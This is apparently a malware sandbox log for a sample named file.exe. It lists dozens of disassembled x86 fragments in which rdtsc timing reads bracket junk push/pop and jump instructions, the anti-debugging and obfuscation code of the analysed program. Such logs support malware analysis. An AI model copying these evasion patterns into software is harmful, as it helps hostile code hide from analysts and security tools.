Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC171D second address: FC173D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007FD4A4C546A4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC009C second address: FC00A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC0373 second address: FC039B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 jno 00007FD4A4C54696h 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ebx 0x0000000f pushad 0x00000010 jmp 00007FD4A4C546A0h 0x00000015 push edx 0x00000016 pop edx 0x00000017 popad 0x00000018 pushad 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC039B second address: FC03B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b push ecx 0x0000000c jns 00007FD4A4ED8666h 0x00000012 pushad 0x00000013 popad 0x00000014 pop ecx 0x00000015 pushad 0x00000016 push esi 0x00000017 pop esi 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC03B7 second address: FC03C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007FD4A4C54696h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC03C4 second address: FC03C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC0906 second address: FC0911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD4A4C54696h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1382 second address: FC138D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC138D second address: FC139E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FD4A4C546AFh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC139E second address: FC13C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A4ED8673h 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e jns 00007FD4A4ED8666h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC49D3 second address: FC49EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 js 00007FD4A4C54696h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FD4A4C5469Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1967 second address: FD19B1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD4A4ED866Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jng 00007FD4A4ED8666h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jp 00007FD4A4ED867Dh 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007FD4A4ED8676h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE1313 second address: FE1317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE117A second address: FE1184 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD4A4ED8666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2DCE second address: FE2DF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD4A4C546A5h 0x0000000a jmp 00007FD4A4C5469Ch 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFFC6 second address: FFFFCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFFCA second address: FFFFD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFEF6C second address: FFEF8F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD4A4ED8666h 0x00000008 jmp 00007FD4A4ED866Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f je 00007FD4A4ED866Eh 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFEF8F second address: FFEFB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD4A4C546A8h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFEFB1 second address: FFEFB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFEFB5 second address: FFEFBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFEFBB second address: FFEFC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF3C9 second address: FFF3F2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 jmp 00007FD4A4C546A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f je 00007FD4A4C546BAh 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF3F2 second address: FFF40B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FD4A4ED8670h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFC6E second address: FFFC78 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD4A4C54696h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFC78 second address: FFFC87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnp 00007FD4A4ED8666h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFC87 second address: FFFCA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FD4A4C546A7h 0x0000000e jmp 00007FD4A4C546A1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001756 second address: 100176E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD4A4ED8672h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100176E second address: 1001772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100417B second address: 1004180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004180 second address: 1004186 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004186 second address: 100418A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100723F second address: 1007245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007245 second address: 100724B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100724B second address: 100724F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100724F second address: 1007277 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FD4A4ED866Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 ja 00007FD4A4ED8668h 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80CBF second address: 4C80CC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80CC5 second address: 4C80CC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80CC9 second address: 4C80CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80CD7 second address: 4C80CDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx ecx, di 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80CDF second address: 4C80CE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80CE5 second address: 4C80D25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FD4A4ED8674h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FD4A4ED866Dh 0x00000019 jmp 00007FD4A4ED866Bh 0x0000001e popfd 0x0000001f mov dx, si 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80D25 second address: 4C80D2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C500D0 second address: 4C500D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C500D6 second address: 4C500F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD4A4C546A5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C500F6 second address: 4C50127 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8671h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FD4A4ED8671h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov cl, bh 0x00000015 mov bx, ax 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50127 second address: 4C50159 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4A4C546A7h 0x00000008 mov dx, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD4A4C5469Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50159 second address: 4C5015F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5015F second address: 4C50195 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 mov edx, 3D03BCACh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push dword ptr [ebp+04h] 0x00000011 jmp 00007FD4A4C5469Bh 0x00000016 push dword ptr [ebp+0Ch] 0x00000019 pushad 0x0000001a call 00007FD4A4C546A4h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C501EB second address: 4C501EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C501EF second address: 4C501F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C709FF second address: 4C70A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70A03 second address: 4C70A09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70A09 second address: 4C70A59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8670h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FD4A4ED866Dh 0x00000012 pop ecx 0x00000013 pushfd 0x00000014 jmp 00007FD4A4ED8671h 0x00000019 add si, 28D6h 0x0000001e jmp 00007FD4A4ED8671h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70A59 second address: 4C70AA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ax, di 0x0000000e movsx edi, cx 0x00000011 popad 0x00000012 xchg eax, ebp 0x00000013 jmp 00007FD4A4C546A2h 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FD4A4C546A7h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70AA5 second address: 4C70ABD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A4ED8674h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70ABD second address: 4C70AE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C5469Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD4A4C546A5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C705D3 second address: 4C7062C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD4A4ED866Fh 0x00000009 sbb cx, A8CEh 0x0000000e jmp 00007FD4A4ED8679h 0x00000013 popfd 0x00000014 movzx eax, di 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c movsx ebx, cx 0x0000001f mov cx, 8BE1h 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FD4A4ED8673h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7062C second address: 4C70681 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4A4C5469Fh 0x00000008 mov dx, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov dx, ECA2h 0x00000016 pushfd 0x00000017 jmp 00007FD4A4C546A3h 0x0000001c adc ecx, 7B59B19Eh 0x00000022 jmp 00007FD4A4C546A9h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70681 second address: 4C70687 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70687 second address: 4C7068B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70325 second address: 4C7034A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 mov di, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD4A4ED8676h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7034A second address: 4C7036D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD4A4C546A1h 0x00000009 jmp 00007FD4A4C5469Bh 0x0000000e popfd 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7036D second address: 4C703A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007FD4A4ED8674h 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD4A4ED8677h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C703A4 second address: 4C703D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD4A4C5469Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80029 second address: 4C800A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8671h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FD4A4ED8677h 0x00000011 and al, FFFFFF8Eh 0x00000014 jmp 00007FD4A4ED8679h 0x00000019 popfd 0x0000001a mov ebx, eax 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f mov ax, 018Fh 0x00000023 mov dh, ah 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 mov ax, di 0x0000002c mov ah, bh 0x0000002e popad 0x0000002f pop ebp 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 jmp 00007FD4A4ED8678h 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C800A7 second address: 4C800AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C900A8 second address: 4C900ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED866Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp+08h] 0x0000000c jmp 00007FD4A4ED8670h 0x00000011 and dword ptr [eax], 00000000h 0x00000014 pushad 0x00000015 pushad 0x00000016 mov di, ax 0x00000019 popad 0x0000001a mov di, E98Ah 0x0000001e popad 0x0000001f and dword ptr [eax+04h], 00000000h 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FD4A4ED866Ch 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C900ED second address: 4C900F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C900F3 second address: 4C900F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C704FB second address: 4C70525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushfd 0x00000008 jmp 00007FD4A4C5469Ch 0x0000000d jmp 00007FD4A4C546A5h 0x00000012 popfd 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70525 second address: 4C70570 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 mov dx, si 0x0000000c mov edi, eax 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007FD4A4ED866Bh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007FD4A4ED8676h 0x0000001b mov ebp, esp 0x0000001d jmp 00007FD4A4ED8670h 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70570 second address: 4C70574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70574 second address: 4C70591 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8679h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80BA5 second address: 4C80BF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 01BC9522h 0x00000008 jmp 00007FD4A4C546A3h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007FD4A4C546A9h 0x00000016 xchg eax, ebp 0x00000017 jmp 00007FD4A4C5469Eh 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov cl, bh 0x00000023 push ecx 0x00000024 pop ebx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0D9B second address: 4CA0DBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, FDh 0x00000005 mov di, F080h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD4A4ED8671h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0DBD second address: 4CA0DD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0DD2 second address: 4CA0E08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8671h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [774365FCh] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD4A4ED8678h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0E08 second address: 4CA0E0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0E0C second address: 4CA0E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0E12 second address: 4CA0E18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0E18 second address: 4CA0E1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0E1C second address: 4CA0E20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0E20 second address: 4CA0E37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD4A4ED866Bh 0x00000011 rdtsc
